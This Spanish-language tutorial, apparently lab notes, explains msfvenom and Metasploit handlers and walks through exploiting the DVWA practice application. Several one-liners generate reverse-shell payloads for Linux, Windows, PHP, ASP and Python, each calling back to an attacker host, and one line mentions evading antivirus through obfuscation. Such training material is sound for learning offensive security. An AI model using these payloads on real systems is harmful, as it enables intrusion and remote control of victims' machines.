Msfvenom reemplazó a Msfpayload y Msfencode y te permite generar payloads. Msfvenom te permite acceder a todos los payloads disponibles en el framework de Metasploit. Te permite crear payloads en diferentes formatos (PHP, exe, dll, elf, etc.) y para varios diferentes sistemas (Apple, Windows, Android, Linux, etc.).
Formatos de salida
Puedes generar un ejecutable para meterpreter o un archivo crudo, como python. El comando msfvenom --list formats puede ser usado para listar formatos de salida soportados.
Encoders
Contrario a lo que algunos piensan, los encoders no tratan de sobrepasar antivirus instalados. Efectivamente codifican el payload, pero más al ojo humano que a una máquina. Una práctica más robusta para evitar antivirus sería usar técnicas modernas de ofuscación o inyectar código shell. Para encodear debemos usar el parámetro -e, por ejemplo:
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.186.44 -f raw -e php/base64
-p: Especifica el tipo de payload.-f: Especifica el formato, en este casoraw, lo que significa que no contendrá headers ni formateo.-e: Especifica que el payload deberá ser encodeado.
Handlers
Similar a los exploits generando una reverse shell, necesitarás ser capaz de aceptar conexiones entrantes generadas por el payload de Msfvenom. Al usar un módulo de explotación todo esto es manejado automáticamente. El término usado para recibir una conexión es "catching shell".
Explotaremos una vulnerabilidad presente en DVWA (Damn Vulnerable Web Application), los pasos son:
- Generar una shell PHP usando MSFvenom.
- Lanzar el handler de Metasploit.
- Ejecutar la shell PHP.
El PHP de salida no tendrá el tag de php inicial ni final, hay que editarlo para que sea válido.
Para usar el multi handler, usaremos el módulo use exploit/multi/handler. El multi handler funciona para todos los payloads de Metasploit y puede ser usado para Meterpreter también.
Para usar el módulo, necesitaremos configurar el valor del payload (php/reverse_php en este caso), el LHOST y el LPORT.
Otros payloads
Basándonos en la configuración del sistema objetivo, msfvenom puede usarse para crear payloads en casi todos los formatos:
Linux Executable and Linkable Format (elf)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf
Es como el formato .exe en Windows.
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp
Python
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py
Todos estos ejemplos son payloads reverse.
